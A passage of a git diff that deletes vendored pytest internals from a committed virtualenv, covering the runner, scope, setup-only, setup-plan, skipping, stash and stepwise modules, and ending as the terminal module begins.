[rep] - if rep.passed: - if item.config.getoption("setupshow", False): - show_test_item(item) - if not item.config.getoption("setuponly", False): - reports.append(call_and_report(item, "call", log)) - # If the session is about to fail or stop, teardown everything - this is - # necessary to correctly report fixture teardown errors (see #11706) - if item.session.shouldfail or item.session.shouldstop: - nextitem = None - reports.append(call_and_report(item, "teardown", log, nextitem=nextitem)) - # After all teardown hooks have been called - # want funcargs and request info to go away. - if hasrequest: - item._request = False # type: ignore[attr-defined] - item.funcargs = None # type: ignore[attr-defined] - return reports - - -def show_test_item(item: Item) -> None: - """Show test function, parameters and the fixtures of the test item.""" - tw = item.config.get_terminal_writer() - tw.line() - tw.write(" " * 8) - tw.write(item.nodeid) - used_fixtures = sorted(getattr(item, "fixturenames", [])) - if used_fixtures: - tw.write(" (fixtures used: {})".format(", ".join(used_fixtures))) - tw.flush() - - -def pytest_runtest_setup(item: Item) -> None: - _update_current_test_var(item, "setup") - item.session._setupstate.setup(item) - - -def pytest_runtest_call(item: Item) -> None: - _update_current_test_var(item, "call") - try: - del sys.last_type - del sys.last_value - del sys.last_traceback - if sys.version_info >= (3, 12, 0): - del sys.last_exc - except AttributeError: - pass - try: - item.runtest() - except Exception as e: - # Store trace info to allow postmortem debugging - sys.last_type = type(e) - sys.last_value = e - if sys.version_info >= (3, 12, 0): - sys.last_exc = e - assert e.__traceback__ is not None - # Skip *this* frame - sys.last_traceback = e.__traceback__.tb_next - raise - - -def pytest_runtest_teardown(item: Item, nextitem: Item | None) -> None: - _update_current_test_var(item, "teardown") - item.session._setupstate.teardown_exact(nextitem) - _update_current_test_var(item, None) - - -def _update_current_test_var( - item: Item, when: Literal["setup", "call", "teardown"] | None -) -> None: - """Update :envvar:`PYTEST_CURRENT_TEST` to reflect the current item and stage. - - If ``when`` is None, delete ``PYTEST_CURRENT_TEST`` from the environment. - """ - var_name = "PYTEST_CURRENT_TEST" - if when: - value = f"{item.nodeid} ({when})" - # don't allow null bytes on environment variables (see #2644, #2957) - value = value.replace("\x00", "(null)") - os.environ[var_name] = value - else: - os.environ.pop(var_name) - - -def pytest_report_teststatus(report: BaseReport) -> tuple[str, str, str] | None: - if report.when in ("setup", "teardown"): - if report.failed: - # category, shortletter, verbose-word - return "error", "E", "ERROR" - elif report.skipped: - return "skipped", "s", "SKIPPED" - else: - return "", "", "" - return None - - -# -# Implementation - - -def call_and_report( - item: Item, when: Literal["setup", "call", "teardown"], log: bool = True, **kwds -) -> TestReport: - ihook = item.ihook - if when == "setup": - runtest_hook: Callable[..., None] = ihook.pytest_runtest_setup - elif when == "call": - runtest_hook = ihook.pytest_runtest_call - elif when == "teardown": - runtest_hook = ihook.pytest_runtest_teardown - else: - assert False, f"Unhandled runtest hook case: {when}" - reraise: tuple[type[BaseException], ...] = (Exit,) - if not item.config.getoption("usepdb", False): - reraise += (KeyboardInterrupt,) - call = CallInfo.from_call( - lambda: runtest_hook(item=item, **kwds), when=when, reraise=reraise - ) - report: TestReport = ihook.pytest_runtest_makereport(item=item, call=call) - if log: - ihook.pytest_runtest_logreport(report=report) - if check_interactive_exception(call, report): - ihook.pytest_exception_interact(node=item, call=call, report=report) - return report - - -def check_interactive_exception(call: CallInfo[object], report: BaseReport) -> bool: - """Check whether the call raised an exception that should be reported as - interactive.""" - if call.excinfo is None: - # Didn't raise. - return False - if hasattr(report, "wasxfail"): - # Exception was expected. - return False - if isinstance(call.excinfo.value, (Skipped, bdb.BdbQuit)): - # Special control flow exception. - return False - return True - - -TResult = TypeVar("TResult", covariant=True) - - -@final -@dataclasses.dataclass -class CallInfo(Generic[TResult]): - """Result/Exception info of a function invocation.""" - - _result: TResult | None - #: The captured exception of the call, if it raised. - excinfo: ExceptionInfo[BaseException] | None - #: The system time when the call started, in seconds since the epoch. - start: float - #: The system time when the call ended, in seconds since the epoch. - stop: float - #: The call duration, in seconds. - duration: float - #: The context of invocation: "collect", "setup", "call" or "teardown". - when: Literal["collect", "setup", "call", "teardown"] - - def __init__( - self, - result: TResult | None, - excinfo: ExceptionInfo[BaseException] | None, - start: float, - stop: float, - duration: float, - when: Literal["collect", "setup", "call", "teardown"], - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - self._result = result - self.excinfo = excinfo - self.start = start - self.stop = stop - self.duration = duration - self.when = when - - @property - def result(self) -> TResult: - """The return value of the call, if it didn't raise. - - Can only be accessed if excinfo is None. - """ - if self.excinfo is not None: - raise AttributeError(f"{self!r} has no valid result") - # The cast is safe because an exception wasn't raised, hence - # _result has the expected function return type (which may be - # None, that's why a cast and not an assert). - return cast(TResult, self._result) - - @classmethod - def from_call( - cls, - func: Callable[[], TResult], - when: Literal["collect", "setup", "call", "teardown"], - reraise: type[BaseException] | tuple[type[BaseException], ...] | None = None, - ) -> CallInfo[TResult]: - """Call func, wrapping the result in a CallInfo. - - :param func: - The function to call. Called without arguments. - :type func: Callable[[], _pytest.runner.TResult] - :param when: - The phase in which the function is called. - :param reraise: - Exception or exceptions that shall propagate if raised by the - function, instead of being wrapped in the CallInfo. - """ - excinfo = None - start = timing.time() - precise_start = timing.perf_counter() - try: - result: TResult | None = func() - except BaseException: - excinfo = ExceptionInfo.from_current() - if reraise is not None and isinstance(excinfo.value, reraise): - raise - result = None - # use the perf counter - precise_stop = timing.perf_counter() - duration = precise_stop - precise_start - stop = timing.time() - return cls( - start=start, - stop=stop, - duration=duration, - when=when, - result=result, - excinfo=excinfo, - _ispytest=True, - ) - - def __repr__(self) -> str: - if self.excinfo is None: - return f"" - return f"" - - -def pytest_runtest_makereport(item: Item, call: CallInfo[None]) -> TestReport: - return TestReport.from_item_and_call(item, call) - - -def pytest_make_collect_report(collector: Collector) -> CollectReport: - def collect() -> list[Item | Collector]: - # Before collecting, if this is a Directory, load the conftests. - # If a conftest import fails to load, it is considered a collection - # error of the Directory collector. This is why it's done inside of the - # CallInfo wrapper. - # - # Note: initial conftests are loaded early, not here. - if isinstance(collector, Directory): - collector.config.pluginmanager._loadconftestmodules( - collector.path, - collector.config.getoption("importmode"), - rootpath=collector.config.rootpath, - consider_namespace_packages=collector.config.getini( - "consider_namespace_packages" - ), - ) - - return list(collector.collect()) - - call = CallInfo.from_call( - collect, "collect", reraise=(KeyboardInterrupt, SystemExit) - ) - longrepr: None | tuple[str, int, str] | str | TerminalRepr = None - if not call.excinfo: - outcome: Literal["passed", "skipped", "failed"] = "passed" - else: - skip_exceptions = [Skipped] - unittest = sys.modules.get("unittest") - if unittest is not None: - skip_exceptions.append(unittest.SkipTest) - if isinstance(call.excinfo.value, tuple(skip_exceptions)): - outcome = "skipped" - r_ = collector._repr_failure_py(call.excinfo, "line") - assert isinstance(r_, ExceptionChainRepr), repr(r_) - r = r_.reprcrash - assert r - longrepr = (str(r.path), r.lineno, r.message) - else: - outcome = "failed" - errorinfo = collector.repr_failure(call.excinfo) - if not hasattr(errorinfo, "toterminal"): - assert isinstance(errorinfo, str) - errorinfo = CollectErrorRepr(errorinfo) - longrepr = errorinfo - result = call.result if not call.excinfo else None - rep = CollectReport(collector.nodeid, outcome, longrepr, result) - rep.call = call # type: ignore # see collect_one_node - return rep - - -class SetupState: - """Shared state for setting up/tearing down test items or collectors - in a session. - - Suppose we have a collection tree as follows: - - - - - - - - The SetupState maintains a stack. The stack starts out empty: - - [] - - During the setup phase of item1, setup(item1) is called. What it does - is: - - push session to stack, run session.setup() - push mod1 to stack, run mod1.setup() - push item1 to stack, run item1.setup() - - The stack is: - - [session, mod1, item1] - - While the stack is in this shape, it is allowed to add finalizers to - each of session, mod1, item1 using addfinalizer(). - - During the teardown phase of item1, teardown_exact(item2) is called, - where item2 is the next item to item1. What it does is: - - pop item1 from stack, run its teardowns - pop mod1 from stack, run its teardowns - - mod1 was popped because it ended its purpose with item1. The stack is: - - [session] - - During the setup phase of item2, setup(item2) is called. What it does - is: - - push mod2 to stack, run mod2.setup() - push item2 to stack, run item2.setup() - - Stack: - - [session, mod2, item2] - - During the teardown phase of item2, teardown_exact(None) is called, - because item2 is the last item. What it does is: - - pop item2 from stack, run its teardowns - pop mod2 from stack, run its teardowns - pop session from stack, run its teardowns - - Stack: - - [] - - The end! - """ - - def __init__(self) -> None: - # The stack is in the dict insertion order. - self.stack: dict[ - Node, - tuple[ - # Node's finalizers. - list[Callable[[], object]], - # Node's exception and original traceback, if its setup raised. - tuple[OutcomeException | Exception, types.TracebackType | None] | None, - ], - ] = {} - - def setup(self, item: Item) -> None: - """Setup objects along the collector chain to the item.""" - needed_collectors = item.listchain() - - # If a collector fails its setup, fail its entire subtree of items. - # The setup is not retried for each item - the same exception is used. - for col, (finalizers, exc) in self.stack.items(): - assert col in needed_collectors, "previous item was not torn down properly" - if exc: - raise exc[0].with_traceback(exc[1]) - - for col in needed_collectors[len(self.stack) :]: - assert col not in self.stack - # Push onto the stack. - self.stack[col] = ([col.teardown], None) - try: - col.setup() - except TEST_OUTCOME as exc: - self.stack[col] = (self.stack[col][0], (exc, exc.__traceback__)) - raise - - def addfinalizer(self, finalizer: Callable[[], object], node: Node) -> None: - """Attach a finalizer to the given node. - - The node must be currently active in the stack. - """ - assert node and not isinstance(node, tuple) - assert callable(finalizer) - assert node in self.stack, (node, self.stack) - self.stack[node][0].append(finalizer) - - def teardown_exact(self, nextitem: Item | None) -> None: - """Teardown the current stack up until reaching nodes that nextitem - also descends from. - - When nextitem is None (meaning we're at the last item), the entire - stack is torn down. - """ - needed_collectors = nextitem and nextitem.listchain() or [] - exceptions: list[BaseException] = [] - while self.stack: - if list(self.stack.keys()) == needed_collectors[: len(self.stack)]: - break - node, (finalizers, _) = self.stack.popitem() - these_exceptions = [] - while finalizers: - fin = finalizers.pop() - try: - fin() - except TEST_OUTCOME as e: - these_exceptions.append(e) - - if len(these_exceptions) == 1: - exceptions.extend(these_exceptions) - elif these_exceptions: - msg = f"errors while tearing down {node!r}" - exceptions.append(BaseExceptionGroup(msg, these_exceptions[::-1])) - - if len(exceptions) == 1: - raise exceptions[0] - elif exceptions: - raise BaseExceptionGroup("errors during test teardown", exceptions[::-1]) - if nextitem is None: - assert not self.stack - - -def collect_one_node(collector: Collector) -> CollectReport: - ihook = collector.ihook - ihook.pytest_collectstart(collector=collector) - rep: CollectReport = ihook.pytest_make_collect_report(collector=collector) - call = rep.__dict__.pop("call", None) - if call and check_interactive_exception(call, rep): - ihook.pytest_exception_interact(node=collector, call=call, report=rep) - return rep diff --git a/backend/venv/Lib/site-packages/_pytest/scope.py b/backend/venv/Lib/site-packages/_pytest/scope.py deleted file mode 100644 index 976a3ba2..00000000 --- a/backend/venv/Lib/site-packages/_pytest/scope.py +++ /dev/null @@ -1,91 +0,0 @@ -""" -Scope definition and related utilities. - -Those are defined here, instead of in the 'fixtures' module because -their use is spread across many other pytest modules, and centralizing it in 'fixtures' -would cause circular references. - -Also this makes the module light to import, as it should. -""" - -from __future__ import annotations - -from enum import Enum -from functools import total_ordering -from typing import Literal - - -_ScopeName = Literal["session", "package", "module", "class", "function"] - - -@total_ordering -class Scope(Enum): - """ - Represents one of the possible fixture scopes in pytest. - - Scopes are ordered from lower to higher, that is: - - ->>> higher ->>> - - Function < Class < Module < Package < Session - - <<<- lower <<<- - """ - - # Scopes need to be listed from lower to higher. - Function: _ScopeName = "function" - Class: _ScopeName = "class" - Module: _ScopeName = "module" - Package: _ScopeName = "package" - Session: _ScopeName = "session" - - def next_lower(self) -> Scope: - """Return the next lower scope.""" - index = _SCOPE_INDICES[self] - if index == 0: - raise ValueError(f"{self} is the lower-most scope") - return _ALL_SCOPES[index - 1] - - def next_higher(self) -> Scope: - """Return the next higher scope.""" - index = _SCOPE_INDICES[self] - if index == len(_SCOPE_INDICES) - 1: - raise ValueError(f"{self} is the upper-most scope") - return _ALL_SCOPES[index + 1] - - def __lt__(self, other: Scope) -> bool: - self_index = _SCOPE_INDICES[self] - other_index = _SCOPE_INDICES[other] - return self_index < other_index - - @classmethod - def from_user( - cls, scope_name: _ScopeName, descr: str, where: str | None = None - ) -> Scope: - """ - Given a scope name from the user, return the equivalent Scope enum. Should be used - whenever we want to convert a user provided scope name to its enum object. - - If the scope name is invalid, construct a user friendly message and call pytest.fail. - """ - from _pytest.outcomes import fail - - try: - # Holding this reference is necessary for mypy at the moment. - scope = Scope(scope_name) - except ValueError: - fail( - "{} {}got an unexpected scope value '{}'".format( - descr, f"from {where} " if where else "", scope_name - ), - pytrace=False, - ) - return scope - - -_ALL_SCOPES = list(Scope) -_SCOPE_INDICES = {scope: index for index, scope in enumerate(_ALL_SCOPES)} - - -# Ordered list of scopes which can contain many tests (in practice all except Function). -HIGH_SCOPES = [x for x in Scope if x is not Scope.Function] diff --git a/backend/venv/Lib/site-packages/_pytest/setuponly.py b/backend/venv/Lib/site-packages/_pytest/setuponly.py deleted file mode 100644 index de297f40..00000000 --- a/backend/venv/Lib/site-packages/_pytest/setuponly.py +++ /dev/null @@ -1,102 +0,0 @@ -from __future__ import annotations - -from typing import Generator - -from _pytest._io.saferepr import saferepr -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config.argparsing import Parser -from _pytest.fixtures import FixtureDef -from _pytest.fixtures import SubRequest -from _pytest.scope import Scope -import pytest - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("debugconfig") - group.addoption( - "--setuponly", - "--setup-only", - action="store_true", - help="Only setup fixtures, do not execute tests", - ) - group.addoption( - "--setupshow", - "--setup-show", - action="store_true", - help="Show setup of fixtures while executing tests", - ) - - -@pytest.hookimpl(wrapper=True) -def pytest_fixture_setup( - fixturedef: FixtureDef[object], request: SubRequest -) -> Generator[None, object, object]: - try: - return (yield) - finally: - if request.config.option.setupshow: - if hasattr(request, "param"): - # Save the fixture parameter so ._show_fixture_action() can - # display it now and during the teardown (in .finish()). - if fixturedef.ids: - if callable(fixturedef.ids): - param = fixturedef.ids(request.param) - else: - param = fixturedef.ids[request.param_index] - else: - param = request.param - fixturedef.cached_param = param # type: ignore[attr-defined] - _show_fixture_action(fixturedef, request.config, "SETUP") - - -def pytest_fixture_post_finalizer( - fixturedef: FixtureDef[object], request: SubRequest -) -> None: - if fixturedef.cached_result is not None: - config = request.config - if config.option.setupshow: - _show_fixture_action(fixturedef, request.config, "TEARDOWN") - if hasattr(fixturedef, "cached_param"): - del fixturedef.cached_param - - -def _show_fixture_action( - fixturedef: FixtureDef[object], config: Config, msg: str -) -> None: - capman = config.pluginmanager.getplugin("capturemanager") - if capman: - capman.suspend_global_capture() - - tw = config.get_terminal_writer() - tw.line() - # Use smaller indentation the higher the scope: Session = 0, Package = 1, etc. - scope_indent = list(reversed(Scope)).index(fixturedef._scope) - tw.write(" " * 2 * scope_indent) - tw.write( - "{step} {scope} {fixture}".format( # noqa: UP032 (Readability) - step=msg.ljust(8), # align the output to TEARDOWN - scope=fixturedef.scope[0].upper(), - fixture=fixturedef.argname, - ) - ) - - if msg == "SETUP": - deps = sorted(arg for arg in fixturedef.argnames if arg != "request") - if deps: - tw.write(" (fixtures used: {})".format(", ".join(deps))) - - if hasattr(fixturedef, "cached_param"): - tw.write(f"[{saferepr(fixturedef.cached_param, maxsize=42)}]") - - tw.flush() - - if capman: - capman.resume_global_capture() - - -@pytest.hookimpl(tryfirst=True) -def pytest_cmdline_main(config: Config) -> int | ExitCode | None: - if config.option.setuponly: - config.option.setupshow = True - return None diff --git a/backend/venv/Lib/site-packages/_pytest/setupplan.py b/backend/venv/Lib/site-packages/_pytest/setupplan.py deleted file mode 100644 index 4e124cce..00000000 --- a/backend/venv/Lib/site-packages/_pytest/setupplan.py +++ /dev/null @@ -1,39 +0,0 @@ -from __future__ import annotations - -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config.argparsing import Parser -from _pytest.fixtures import FixtureDef -from _pytest.fixtures import SubRequest -import pytest - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("debugconfig") - group.addoption( - "--setupplan", - "--setup-plan", - action="store_true", - help="Show what fixtures and tests would be executed but " - "don't execute anything", - ) - - -@pytest.hookimpl(tryfirst=True) -def pytest_fixture_setup( - fixturedef: FixtureDef[object], request: SubRequest -) -> object | None: - # Will return a dummy fixture if the setuponly option is provided. - if request.config.option.setupplan: - my_cache_key = fixturedef.cache_key(request) - fixturedef.cached_result = (None, my_cache_key, None) - return fixturedef.cached_result - return None - - -@pytest.hookimpl(tryfirst=True) -def pytest_cmdline_main(config: Config) -> int | ExitCode | None: - if config.option.setupplan: - config.option.setuponly = True - config.option.setupshow = True - return None diff --git a/backend/venv/Lib/site-packages/_pytest/skipping.py b/backend/venv/Lib/site-packages/_pytest/skipping.py deleted file mode 100644 index 08fcb283..00000000 --- a/backend/venv/Lib/site-packages/_pytest/skipping.py +++ /dev/null @@ -1,301 +0,0 @@ -# mypy: allow-untyped-defs -"""Support for skip/xfail functions and markers.""" - -from __future__ import annotations - -from collections.abc import Mapping -import dataclasses -import os -import platform -import sys -import traceback -from typing import Generator -from typing import Optional - -from _pytest.config import Config -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.mark.structures import Mark -from _pytest.nodes import Item -from _pytest.outcomes import fail -from _pytest.outcomes import skip -from _pytest.outcomes import xfail -from _pytest.reports import BaseReport -from _pytest.reports import TestReport -from _pytest.runner import CallInfo -from _pytest.stash import StashKey - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("general") - group.addoption( - "--runxfail", - action="store_true", - dest="runxfail", - default=False, - help="Report the results of xfail tests as if they were not marked", - ) - - parser.addini( - "xfail_strict", - "Default for the strict parameter of xfail " - "markers when not given explicitly (default: False)", - default=False, - type="bool", - ) - - -def pytest_configure(config: Config) -> None: - if config.option.runxfail: - # yay a hack - import pytest - - old = pytest.xfail - config.add_cleanup(lambda: setattr(pytest, "xfail", old)) - - def nop(*args, **kwargs): - pass - - nop.Exception = xfail.Exception # type: ignore[attr-defined] - setattr(pytest, "xfail", nop) - - config.addinivalue_line( - "markers", - "skip(reason=None): skip the given test function with an optional reason. " - 'Example: skip(reason="no way of currently testing this") skips the ' - "test.", - ) - config.addinivalue_line( - "markers", - "skipif(condition, ..., *, reason=...): " - "skip the given test function if any of the conditions evaluate to True. " - "Example: skipif(sys.platform == 'win32') skips the test if we are on the win32 platform. " - "See https://docs.pytest.org/en/stable/reference/reference.html#pytest-mark-skipif", - ) - config.addinivalue_line( - "markers", - "xfail(condition, ..., *, reason=..., run=True, raises=None, strict=xfail_strict): " - "mark the test function as an expected failure if any of the conditions " - "evaluate to True. Optionally specify a reason for better reporting " - "and run=False if you don't even want to execute the test function. " - "If only specific exception(s) are expected, you can list them in " - "raises, and if the test fails in other ways, it will be reported as " - "a true failure. See https://docs.pytest.org/en/stable/reference/reference.html#pytest-mark-xfail", - ) - - -def evaluate_condition(item: Item, mark: Mark, condition: object) -> tuple[bool, str]: - """Evaluate a single skipif/xfail condition. - - If an old-style string condition is given, it is eval()'d, otherwise the - condition is bool()'d. If this fails, an appropriately formatted pytest.fail - is raised. - - Returns (result, reason). The reason is only relevant if the result is True. - """ - # String condition. - if isinstance(condition, str): - globals_ = { - "os": os, - "sys": sys, - "platform": platform, - "config": item.config, - } - for dictionary in reversed( - item.ihook.pytest_markeval_namespace(config=item.config) - ): - if not isinstance(dictionary, Mapping): - raise ValueError( - f"pytest_markeval_namespace() needs to return a dict, got {dictionary!r}" - ) - globals_.update(dictionary) - if hasattr(item, "obj"): - globals_.update(item.obj.__globals__) - try: - filename = f"<{mark.name} condition>" - condition_code = compile(condition, filename, "eval") - result = eval(condition_code, globals_) - except SyntaxError as exc: - msglines = [ - f"Error evaluating {mark.name!r} condition", - " " + condition, - " " + " " * (exc.offset or 0) + "^", - "SyntaxError: invalid syntax", - ] - fail("\n".join(msglines), pytrace=False) - except Exception as exc: - msglines = [ - f"Error evaluating {mark.name!r} condition", - " " + condition, - *traceback.format_exception_only(type(exc), exc), - ] - fail("\n".join(msglines), pytrace=False) - - # Boolean condition. - else: - try: - result = bool(condition) - except Exception as exc: - msglines = [ - f"Error evaluating {mark.name!r} condition as a boolean", - *traceback.format_exception_only(type(exc), exc), - ] - fail("\n".join(msglines), pytrace=False) - - reason = mark.kwargs.get("reason", None) - if reason is None: - if isinstance(condition, str): - reason = "condition: " + condition - else: - # XXX better be checked at collection time - msg = ( - f"Error evaluating {mark.name!r}: " - + "you need to specify reason=STRING when using booleans as conditions." - ) - fail(msg, pytrace=False) - - return result, reason - - -@dataclasses.dataclass(frozen=True) -class Skip: - """The result of evaluate_skip_marks().""" - - reason: str = "unconditional skip" - - -def evaluate_skip_marks(item: Item) -> Skip | None: - """Evaluate skip and skipif marks on item, returning Skip if triggered.""" - for mark in item.iter_markers(name="skipif"): - if "condition" not in mark.kwargs: - conditions = mark.args - else: - conditions = (mark.kwargs["condition"],) - - # Unconditional. - if not conditions: - reason = mark.kwargs.get("reason", "") - return Skip(reason) - - # If any of the conditions are true. - for condition in conditions: - result, reason = evaluate_condition(item, mark, condition) - if result: - return Skip(reason) - - for mark in item.iter_markers(name="skip"): - try: - return Skip(*mark.args, **mark.kwargs) - except TypeError as e: - raise TypeError(str(e) + " - maybe you meant pytest.mark.skipif?") from None - - return None - - -@dataclasses.dataclass(frozen=True) -class Xfail: - """The result of evaluate_xfail_marks().""" - - __slots__ = ("reason", "run", "strict", "raises") - - reason: str - run: bool - strict: bool - raises: tuple[type[BaseException], ...] | None - - -def evaluate_xfail_marks(item: Item) -> Xfail | None: - """Evaluate xfail marks on item, returning Xfail if triggered.""" - for mark in item.iter_markers(name="xfail"): - run = mark.kwargs.get("run", True) - strict = mark.kwargs.get("strict", item.config.getini("xfail_strict")) - raises = mark.kwargs.get("raises", None) - if "condition" not in mark.kwargs: - conditions = mark.args - else: - conditions = (mark.kwargs["condition"],) - - # Unconditional. - if not conditions: - reason = mark.kwargs.get("reason", "") - return Xfail(reason, run, strict, raises) - - # If any of the conditions are true. - for condition in conditions: - result, reason = evaluate_condition(item, mark, condition) - if result: - return Xfail(reason, run, strict, raises) - - return None - - -# Saves the xfail mark evaluation. Can be refreshed during call if None. -xfailed_key = StashKey[Optional[Xfail]]() - - -@hookimpl(tryfirst=True) -def pytest_runtest_setup(item: Item) -> None: - skipped = evaluate_skip_marks(item) - if skipped: - raise skip.Exception(skipped.reason, _use_item_location=True) - - item.stash[xfailed_key] = xfailed = evaluate_xfail_marks(item) - if xfailed and not item.config.option.runxfail and not xfailed.run: - xfail("[NOTRUN] " + xfailed.reason) - - -@hookimpl(wrapper=True) -def pytest_runtest_call(item: Item) -> Generator[None, None, None]: - xfailed = item.stash.get(xfailed_key, None) - if xfailed is None: - item.stash[xfailed_key] = xfailed = evaluate_xfail_marks(item) - - if xfailed and not item.config.option.runxfail and not xfailed.run: - xfail("[NOTRUN] " + xfailed.reason) - - try: - return (yield) - finally: - # The test run may have added an xfail mark dynamically. - xfailed = item.stash.get(xfailed_key, None) - if xfailed is None: - item.stash[xfailed_key] = xfailed = evaluate_xfail_marks(item) - - -@hookimpl(wrapper=True) -def pytest_runtest_makereport( - item: Item, call: CallInfo[None] -) -> Generator[None, TestReport, TestReport]: - rep = yield - xfailed = item.stash.get(xfailed_key, None) - if item.config.option.runxfail: - pass # don't interfere - elif call.excinfo and isinstance(call.excinfo.value, xfail.Exception): - assert call.excinfo.value.msg is not None - rep.wasxfail = "reason: " + call.excinfo.value.msg - rep.outcome = "skipped" - elif not rep.skipped and xfailed: - if call.excinfo: - raises = xfailed.raises - if raises is not None and not isinstance(call.excinfo.value, raises): - rep.outcome = "failed" - else: - rep.outcome = "skipped" - rep.wasxfail = xfailed.reason - elif call.when == "call": - if xfailed.strict: - rep.outcome = "failed" - rep.longrepr = "[XPASS(strict)] " + xfailed.reason - else: - rep.outcome = "passed" - rep.wasxfail = xfailed.reason - return rep - - -def pytest_report_teststatus(report: BaseReport) -> tuple[str, str, str] | None: - if hasattr(report, "wasxfail"): - if report.skipped: - return "xfailed", "x", "XFAIL" - elif report.passed: - return "xpassed", "X", "XPASS" - return None diff --git a/backend/venv/Lib/site-packages/_pytest/stash.py b/backend/venv/Lib/site-packages/_pytest/stash.py deleted file mode 100644 index 6a9ff884..00000000 --- a/backend/venv/Lib/site-packages/_pytest/stash.py +++ /dev/null @@ -1,116 +0,0 @@ -from __future__ import annotations - -from typing import Any -from typing import cast -from typing import Generic -from typing import TypeVar - - -__all__ = ["Stash", "StashKey"] - - -T = TypeVar("T") -D = TypeVar("D") - - -class StashKey(Generic[T]): - """``StashKey`` is an object used as a key to a :class:`Stash`. - - A ``StashKey`` is associated with the type ``T`` of the value of the key. - - A ``StashKey`` is unique and cannot conflict with another key. - - .. versionadded:: 7.0 - """ - - __slots__ = () - - -class Stash: - r"""``Stash`` is a type-safe heterogeneous mutable mapping that - allows keys and value types to be defined separately from - where it (the ``Stash``) is created. - - Usually you will be given an object which has a ``Stash``, for example - :class:`~pytest.Config` or a :class:`~_pytest.nodes.Node`: - - .. code-block:: python - - stash: Stash = some_object.stash - - If a module or plugin wants to store data in this ``Stash``, it creates - :class:`StashKey`\s for its keys (at the module level): - - .. code-block:: python - - # At the top-level of the module - some_str_key = StashKey[str]() - some_bool_key = StashKey[bool]() - - To store information: - - .. code-block:: python - - # Value type must match the key. - stash[some_str_key] = "value" - stash[some_bool_key] = True - - To retrieve the information: - - .. code-block:: python - - # The static type of some_str is str. - some_str = stash[some_str_key] - # The static type of some_bool is bool. - some_bool = stash[some_bool_key] - - .. versionadded:: 7.0 - """ - - __slots__ = ("_storage",) - - def __init__(self) -> None: - self._storage: dict[StashKey[Any], object] = {} - - def __setitem__(self, key: StashKey[T], value: T) -> None: - """Set a value for key.""" - self._storage[key] = value - - def __getitem__(self, key: StashKey[T]) -> T: - """Get the value for key. - - Raises ``KeyError`` if the key wasn't set before. - """ - return cast(T, self._storage[key]) - - def get(self, key: StashKey[T], default: D) -> T | D: - """Get the value for key, or return default if the key wasn't set - before.""" - try: - return self[key] - except KeyError: - return default - - def setdefault(self, key: StashKey[T], default: T) -> T: - """Return the value of key if already set, otherwise set the value - of key to default and return default.""" - try: - return self[key] - except KeyError: - self[key] = default - return default - - def __delitem__(self, key: StashKey[T]) -> None: - """Delete the value for key. - - Raises ``KeyError`` if the key wasn't set before. - """ - del self._storage[key] - - def __contains__(self, key: StashKey[T]) -> bool: - """Return whether key was set.""" - return key in self._storage - - def __len__(self) -> int: - """Return how many items exist in the stash.""" - return len(self._storage) diff --git a/backend/venv/Lib/site-packages/_pytest/stepwise.py b/backend/venv/Lib/site-packages/_pytest/stepwise.py deleted file mode 100644 index bd906ce6..00000000 --- a/backend/venv/Lib/site-packages/_pytest/stepwise.py +++ /dev/null @@ -1,125 +0,0 @@ -from __future__ import annotations - -from _pytest import nodes -from _pytest.cacheprovider import Cache -from _pytest.config import Config -from _pytest.config.argparsing import Parser -from _pytest.main import Session -from _pytest.reports import TestReport - - -STEPWISE_CACHE_DIR = "cache/stepwise" - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("general") - group.addoption( - "--sw", - "--stepwise", - action="store_true", - default=False, - dest="stepwise", - help="Exit on test failure and continue from last failing test next time", - ) - group.addoption( - "--sw-skip", - "--stepwise-skip", - action="store_true", - default=False, - dest="stepwise_skip", - help="Ignore the first failing test but stop on the next failing test. " - "Implicitly enables --stepwise.", - ) - - -def pytest_configure(config: Config) -> None: - if config.option.stepwise_skip: - # allow --stepwise-skip to work on its own merits. - config.option.stepwise = True - if config.getoption("stepwise"): - config.pluginmanager.register(StepwisePlugin(config), "stepwiseplugin") - - -def pytest_sessionfinish(session: Session) -> None: - if not session.config.getoption("stepwise"): - assert session.config.cache is not None - if hasattr(session.config, "workerinput"): - # Do not update cache if this process is a xdist worker to prevent - # race conditions (#10641). - return - # Clear the list of failing tests if the plugin is not active. - session.config.cache.set(STEPWISE_CACHE_DIR, []) - - -class StepwisePlugin: - def __init__(self, config: Config) -> None: - self.config = config - self.session: Session | None = None - self.report_status = "" - assert config.cache is not None - self.cache: Cache = config.cache - self.lastfailed: str | None = self.cache.get(STEPWISE_CACHE_DIR, None) - self.skip: bool = config.getoption("stepwise_skip") - - def pytest_sessionstart(self, session: Session) -> None: - self.session = session - - def pytest_collection_modifyitems( - self, config: Config, items: list[nodes.Item] - ) -> None: - if not self.lastfailed: - self.report_status = "no previously failed tests, not skipping." - return - - # check all item nodes until we find a match on last failed - failed_index = None - for index, item in enumerate(items): - if item.nodeid == self.lastfailed: - failed_index = index - break - - # If the previously failed test was not found among the test items, - # do not skip any tests. - if failed_index is None: - self.report_status = "previously failed test not found, not skipping." - else: - self.report_status = f"skipping {failed_index} already passed items." - deselected = items[:failed_index] - del items[:failed_index] - config.hook.pytest_deselected(items=deselected) - - def pytest_runtest_logreport(self, report: TestReport) -> None: - if report.failed: - if self.skip: - # Remove test from the failed ones (if it exists) and unset the skip option - # to make sure the following tests will not be skipped. - if report.nodeid == self.lastfailed: - self.lastfailed = None - - self.skip = False - else: - # Mark test as the last failing and interrupt the test session. - self.lastfailed = report.nodeid - assert self.session is not None - self.session.shouldstop = ( - "Test failed, continuing from this test next run." - ) - - else: - # If the test was actually run and did pass. - if report.when == "call": - # Remove test from the failed ones, if exists. - if report.nodeid == self.lastfailed: - self.lastfailed = None - - def pytest_report_collectionfinish(self) -> str | None: - if self.config.getoption("verbose") >= 0 and self.report_status: - return f"stepwise: {self.report_status}" - return None - - def pytest_sessionfinish(self) -> None: - if hasattr(self.config, "workerinput"): - # Do not update cache if this process is a xdist worker to prevent - # race conditions (#10641). - return - self.cache.set(STEPWISE_CACHE_DIR, self.lastfailed) diff --git a/backend/venv/Lib/site-packages/_pytest/terminal.py b/backend/venv/Lib/site-packages/_pytest/terminal.py deleted file mode 100644 index 8c722124..00000000 --- 